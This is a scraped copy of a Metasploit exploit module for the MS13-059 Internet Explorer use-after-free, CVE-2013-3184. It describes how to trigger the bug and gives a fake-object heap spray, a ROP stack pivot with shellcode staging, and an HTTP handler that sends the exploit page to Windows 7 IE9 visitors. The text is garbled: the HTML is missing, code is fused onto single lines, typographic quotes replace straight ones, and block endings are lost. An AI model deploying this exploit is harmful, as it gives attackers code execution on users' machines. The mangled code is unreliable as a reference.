MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, 'Name' => “MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free”,
‘Description’ => %q{
This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9,
it seems to only affect certain releases of mshtml.dll. For example: This module
can be used against version 9.0.8112.16446, but not for 9.0.8112.16421. IE 8
requires a different way to trigger the vulnerability, but not currently covered
by this module.

The issue is specific to the browser’s IE7 document compatibility, which can be
defined in X-UA-Compatible, and the content editable mode must be enabled. An
“onmove” event handler is also necessary to be able to trigger the bug, and the
event will be run twice before the crash. The first time is due to the position
change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable’
object is created during a “SelectAll” command, and this object will be used later
on for the crash. The second onmove event seems to be triggered by a InsertButton
(or Insert-whatever) command, which is also responsible for the free of object
CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will
then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and
then passes this on to the next functions (GetLineInfo -> QIClassID). When this
reference arrives in function QIClassID, an access violation finally occurs when
the function is trying to call QueryInterface() with the bad reference, and this
results a crash. Successful control of the freed memory may leverage arbitrary code
execution under the context of the user.

Note: It is also possible to see a different object being freed and used, doesn’t
always have to be CFlatMarkupPointer.
‘License’ => MSF_LICENSE,
‘Author’ =>
‘corelanc0d3r’, # Vuln discovery, PoC
‘sinn3r’ # Metasploit
‘References’ =>
[ ‘CVE’, ‘2013-3184’ ],
[ ‘OSVDB’, ‘96182’ ],
[ ‘MSB’, ‘MS13-059’ ],
[ ‘BID’, ‘61668’ ],
[ ‘URL’, ‘’ ],
[ ‘URL’, ‘’ ]
‘Platform’ => ‘win’,
‘Targets’ =>
# Vulnerable IE9 tested: 9.0.8112.16446
[ ‘Automatic’, {} ],
[ ‘IE 9 on Windows 7 SP1 (mshtml 9.0.8112.16446)’, {} ]
‘Payload’ =>
‘BadChars’ => “\x00”,
‘StackAdjustment’ => -3500
‘DefaultOptions’ =>
‘InitialAutoRunScript’ => ‘migrate -f’
‘Privileged’ => false,
‘DisclosureDate’ => “Jun 27 2013”,
‘DefaultTarget’ => 0))

def rnd_dword

def get_fake_obj
# edx,dword ptr [eax]
# …
# call edx
obj = [0x20302020].pack(“V*”) # EAX points to this (Target spray 0x20302020)
obj << [rnd_dword].pack("V*") obj << [rnd_dword].pack("V*") obj << [rnd_dword].pack("V*") obj << [rnd_dword].pack("V*") return obj end # Target spray 0x20302020 # ESI is our fake obj, with [esi]=0x20302020, [esi+4]=0x42424242, so on # eax=20302020 ebx=80004002 ecx=0250d890 edx=cccccccc esi=03909b68 edi=0250d8cc # eip=cccccccc esp=0250d87c ebp=0250d8a8 iopl=0 nv up ei ng nz na po cy # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283 # cccccccc ?? ??? def get_payload code = '' code << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 code << "\x61\x9d" # popad; popfd code << payload.encoded stack_pivot = [ 0x7c342643, # xchg eax, esp; pop edi; add [eax], al, pop ecx; ret 0x0c0c0c0c ].pack("V*") p = generate_rop_payload('java', code, {'pivot'=>stack_pivot})

return p

def is_win7_ie9?(agent)
(agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/)

# The meta-refresh seems very necessary to make the object overwrite more reliable.
# Without it, it only gets about 50/50
def get_html(cli, req)
js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj, ::Rex::Arch.endian(target.arch))
js_payload = ::Rex::Text.to_unescape(get_payload, ::Rex::Arch.endian(target.arch))

html = %Q|


html.gsub(/^\t\t/, ”)

def on_request_uri(cli, request)
if is_win7_ie9?(request.headers[‘User-Agent’])
print_status(“Sending exploit…”)
send_response(cli, get_html(cli, request), {‘Content-Type’=>’text/html’, ‘Cache-Control’=>’no-cache’})
print_error(“Not a suitable target: #{request.headers[‘User-Agent’]}”)